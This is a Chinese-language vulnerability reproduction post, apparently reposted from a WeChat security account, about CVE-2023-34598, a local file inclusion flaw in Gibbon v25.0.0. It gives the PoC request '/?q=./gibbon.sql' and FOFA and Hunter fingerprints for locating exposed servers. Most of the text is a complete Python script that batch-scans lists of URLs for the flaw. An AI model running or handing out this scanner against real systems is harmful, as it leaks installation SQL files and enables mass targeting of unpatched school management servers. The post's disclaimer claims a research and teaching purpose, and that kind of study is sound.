Gibbon v25.0.0易受本地文件包含(LFI)漏洞的攻击,该漏洞可能会将安装文件夹中的几个文件的内容包含在服务器的响应中。
为了利用该漏洞,攻击者需要操作“q”参数来查询本地文件。这种操作会导致文件包含在服务器的响应中。但是,需要注意的是,此漏洞仅对安装文件夹中的文件和特定条件下的文件有效,例如,这些文件不包括PHP文件。
Gibbon v25.0.0
- POC:/?q=./gibbon.sql
访问如下则存在漏洞
nuclei验证插件验证
编写python 脚本批量测试
https://github.com/Szlein/CVE-2023-34598
import requests import sys print('+------------------------------------------') print('+ \033[36m使用格式: python3 CVE-2023-34598.py -u https://x.x.x.x \033[0m') print('+ \033[36m使用格式: python3 CVE-2023-34598.py -f xxx.txt \033[0m') print('+ \033[36m指纹特征: fofa:icon_hash="-165631681" \033[0m') print('+ \033[36m指纹特征: Hunter:web.icon="0965eec0aa4c9ac40a827e84818e621e" \033[0m') print('+ \033[36mauther >>> Lsec \033[0m') print('+------------------------------------------') payload = "/?q=./gibbon.sql" def url_poc(url): domain = url + payload requests.packages.urllib3.disable_warnings() resp = requests.get(domain,verify=False) if "sql" in resp.text: print(url+"存在漏洞") print("漏洞url:"+domain) def urls_poc(urls): with open(urls, "r") as f: for url in f.readlines(): domain = (url.strip() + payload) requests.packages.urllib3.disable_warnings() resp = requests.get(domain, verify=False) if "sql" in resp.text: print(url+"存在漏洞") print("漏洞url:"+domain) if __name__ == '__main__': if len(sys.argv) != 3: print("Usage: python CVE-2023-34598.py -u <url>") print("Usage: python CVE-2023-34598.py -f <url>") sys.exit(1) if sys.argv[1] == "-u": url = sys.argv[2] url_poc(url) elif sys.argv[1] == "-f": urls = sys.argv[2] urls_poc(urls)
原文始发于微信公众号(贝雷帽SEC):【漏洞复现】Gibbon CVE-2023-34598 (POC)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论